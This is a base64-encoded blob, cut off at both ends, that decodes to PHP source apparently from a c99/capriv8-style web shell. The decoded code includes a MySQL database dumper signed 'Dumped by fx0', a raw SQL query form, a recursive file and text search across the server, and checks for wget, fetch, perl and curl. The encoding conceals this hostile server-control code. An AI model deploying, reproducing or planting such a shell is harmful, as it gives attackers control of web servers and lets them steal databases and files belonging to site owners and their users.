1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpIHsNCiAgICAgIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJzIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdCA9ICJwIjt9DQogICAgICBlbHNlIHskdCA9ICI/Ijt9DQogICAgICAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICAgICAgJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTApID4gMDsNCiAgICAgICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7DQogICAgICByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZXNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkgew0KICAgICAgJG9uZSA9IGludHZhbCgkc29ydCk7DQogICAgICAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsNCiAgICAgIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQ0KICAgICAgcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpIHsNCiAgICBmdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKSB7DQogICAgICBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KICAgICAgZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiAgICAgIGVsc2Uge3JldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsNCiAgICAgIGdsb2JhbCAkc2hfdmVyOw0KICAgICAgJHNvY2sgPSAkc2V0WyJzb2NrIl07DQogICAgICAkZGIgPSAkc2V0WyJkYiJdOw0KICAgICAgJHByaW50ID0gJHNldFsicHJpbnQiXTsNCiAgICAgICRubDJiciA9ICRzZXRbIm5sMmJyIl07DQogICAgICAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAgICAgICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07DQogICAgICAkdGFicyA9ICRzZXRbInRhYnMiXTsNCiAgICAgICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogICAgICAkcmV0ID0gYXJyYXkoKTsNCiAgICAgICRyZXRbImVyciJdID0gYXJyYXkoKTsNCiAgICAgIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KICAgICAgaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30NCiAgICAgIGlmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9DQogICAgICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOw0KICAgICAgfQ0KICAgICAgaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChzaXplb2YoJHRhYnMpID09IDApIHsNCiAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7DQogICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319DQogICAgICB9DQogICAgICAkb3V0ID0gIg0KICAgICAgIyBEdW1wZWQgYnkgZngwDQogICAgICAjDQogICAgICAjIEhvc3Qgc2V0dGluZ3M6DQogICAgICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiINCiAgICAgICMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiINCiAgICAgICMgREI6IFwiIi4kZGIuIlwiDQogICAgICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjsNCiAgICAgICRjID0gY291bnQoJG9ubHl0YWJzKTsNCiAgICAgIGZvcmVhY2goJHRhYnMgYXMgJHRhYikgew0KICAgICAgICBpZiAoKGluX2FycmF5KCR0YWIsJG9ubHl0YWJzKSkgb3IgKCEkYykpIHsNCiAgICAgICAgICBpZiAoJGFkZF9kcm9wKSB7JG91dCAuPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYi4iYDtcbiI7fQ0KICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgICAgICAgICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgICAgICAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOw0KICAgICAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAkdGFiYCIsICRzb2NrKTsNCiAgICAgICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHsNCiAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgew0KICAgICAgICAgICAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQ0KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7DQogICAgICAgICAgICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOw0KICAgICAgICAgICAgICAgICRvdXQgLj0gJHNxbDsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOw0KICAgICAgaWYgKCRmaWxlKSB7DQogICAgICAgICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOw0KICAgICAgICBpZiAoISRmcCkgeyRyZXRbImVyciJdW10gPSAyO30NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZndyaXRlICgkZnAsICRvdXQpOw0KICAgICAgICAgIGZjbG9zZSAoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319DQogICAgICByZXR1cm4gJG91dDsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkgew0KICAgICAgaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9DQogICAgICAkcmVzdWx0ID0gIiI7DQogICAgICBmb3JlYWNoKCRhcnJheSBhcyAkaz0+JHYpIHsNCiAgICAgICAgJHZhbHVlID0gIiI7DQogICAgICAgIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9DQogICAgICAgICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KICAgICAgICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQ0KICAgICAgICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7DQogICAgICB9DQogICAgICAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsNCiAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKSB7DQogICAgICBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9DQogICAgICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9DQogICAgICAkYXJyYXkgPSBhcnJheSgpOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgIHJldHVybiAkYXJyYXk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKSB7DQogICAgICBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJvcigkc29jayk7fQ0KICAgICAgZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9DQogICAgICAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7DQogICAgICByZXR1cm4gJGVycm9yOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpIHsNCiAgICAgIGdsb2JhbCAkc3VibWl0LCRzcWxfeCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0Ow0KICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF94ID0gJHNxbF9nb3RvO30NCiAgICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7DQogICAgICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MD48dHI+PHRkPjxmb3JtIG5hbWU9XCJjYXByaXY4X3NxbHF1ZXJ5XCIgbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9c3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF94IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsNCiAgICAgICAgaWYgKCR0Ymxfc3RydWN0KSB7DQogICAgICAgICAgZWNobyAiPHRkIHZhbGlnbj1cInRvcFwiPjxiPkZpZWxkczo8L2I+PGJyPiI7DQogICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuY2Fwcml2OF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9DQogICAgICAgICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfY3JlYXRlX2RiIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9jcmVhdGVfZGIoJGRiLCRzb2NrPSIiKSB7DQogICAgICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsNCiAgICAgIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9DQogICAgICBlbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkgew0KICAgICAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOw0KICAgICAgJGFyciA9IGV4cGxvZGUgKCIgIiwkcXVlcnkpOw0KICAgICAgJHR5cGVzID0gYXJyYXkoDQogICAgICAgICJTRUxFQ1QiPT5hcnJheSgzLDEpLA0KICAgICAgICAiU0hPVyI9PmFycmF5KDIsMSksDQogICAgICAgICJERUxFVEUiPT5hcnJheSgxKSwNCiAgICAgICAgIkRST1AiPT5hcnJheSgxKQ0KICAgICAgKTsNCiAgICAgICRyZXN1bHQgPSBhcnJheSgpOw0KICAgICAgJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsNCiAgICAgIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIHsNCiAgICAgICAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOw0KICAgICAgICAkcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsNCiAgICAgICAgaWYgKCR0eXBlc1skb3BdID09IDIpIHsNCiAgICAgICAgICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7DQogICAgICAgICAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikgew0KICAgICAgICAgICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsNCiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOw0KICAgICAgICAgICAgICBpZiAoY291bnQoJHJlc3VsdFsibGltaXQiXSkgPT0gMSkgeyRyZXN1bHRbImxpbWl0Il0gPSBhcnJheSgwLCRyZXN1bHRbImxpbWl0Il1bMF0pO30NCiAgICAgICAgICAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2Fmc2VhcmNoIikpIHsNCiAgICBmdW5jdGlvbiBjYWZzZWFyY2goJGQpIHsNCiAgICAgIGdsb2JhbCAkZm91bmQ7DQogICAgICBnbG9iYWwgJGZvdW5kX2Q7DQogICAgICBnbG9iYWwgJGZvdW5kX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogICAgICBnbG9iYWwgJGE7DQogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpIHsNCiAgICAgICAgICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICAgICAgICAgaWYgKGlzX2RpcigkZC4kZikpIHsNCiAgICAgICAgICAgICRzZWFyY2hfaV9kKys7DQogICAgICAgICAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgICAgICAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Y2Fmc2VhcmNoKCRkLiRmKTt9DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHNlYXJjaF9pX2YrKzsNCiAgICAgICAgICAgIGlmICgkYm9vbCkgew0KICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKSB7DQogICAgICAgICAgICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgICAgICAgICAgIGlmICghJGFbInRleHRfY3MiXSkgeyRhWyJ0ZXh0Il0gPSBzdHJ0b2xvd2VyKCRhWyJ0ZXh0Il0pOyAkciA9IHN0cnRvbG93ZXIoJHIpO30NCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQ0KICAgICAgICAgICAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfbm90Il0pIHskYm9vbCA9ICEkYm9vbDt9DQogICAgICAgICAgICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgfQ0KICB9DQogIGlmICgkeCA9PSAiZ29maWxlIikgew0KICAgIGlmIChpc19kaXIoJGYpKSB7ICR4ID0gImxzIjsgJGQgPSAkZjsgfQ0KICAgIGVsc2UgeyAkeCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRmKTsgJGYgPSBiYXNlbmFtZSgkZik7IH0NCiAgfQ0KICBAb2Jfc3RhcnQoKTsNCiAgQG9iX2ltcGxpY2l0X2ZsdXNoKDApOw0KICBmdW5jdGlvbiBvbnBocHNodXRkb3duKCkgew0KICAgIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7DQogICAgaWYgKCFoZWFkZXJzX3NlbnQoKSBhbmQgJGd6aXBlbmNvZGUgYW5kICFpbl9hcnJheSgkZnQsYXJyYXkoImltZyIsImRvd25sb2FkIiwibm90ZXBhZCIpKSkgew0KICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOw0KICAgICAgZWNobyAkdjsNCiAgICAgIEBvYl9lbmRfZmx1c2goKTsNCiAgICB9DQogIH0NCiAgZnVuY3Rpb24gY2Fwcml2OGV4aXQoKSB7DQogICAgb25waHBzaHV0ZG93bigpOw0KICAgIGV4aXQ7DQogIH0NCiAgaGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOw0KICBoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7DQogIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCiAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIiwgRkFMU0UpOw0KICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCiAgaWYgKGVtcHR5KCR0bXBkaXIpKSB7DQogICAgJHRtcGRpciA9IGluaV9nZXQoInVwbG9hZF90bXBfZGlyIik7DQogICAgaWYgKGlzX2RpcigkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30NCiAgfQ0KICAkdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQogICR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7DQogIGlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9DQogIGVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQ0KICBmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkgew0KICAgIGlmICgkc3RhdD09Im9uIikgeyByZXR1cm4gIjxmb250IGNvbG9yPSMwMEZGMDA+PGI+T048L2I+PC9mb250PiI7IH0NCiAgICBlbHNlIHsgcmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+PGI+T0ZGPC9iPjwvZm9udD4iOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHBlcmwoKSB7DQogICAgaWYgKGV4KCdwZXJsIC1oJykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0ZmV0Y2goKSB7DQogICAgaWYoZXgoJ2ZldGNoIC0taGVscCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHdnZXQoKSB7DQogICAgaWYgKGV4KCd3Z2V0IC0taGVscCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG9yYWNsZSgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHBvc3RncmVzcWwoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG1zc3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RjdXJsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG15c3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dX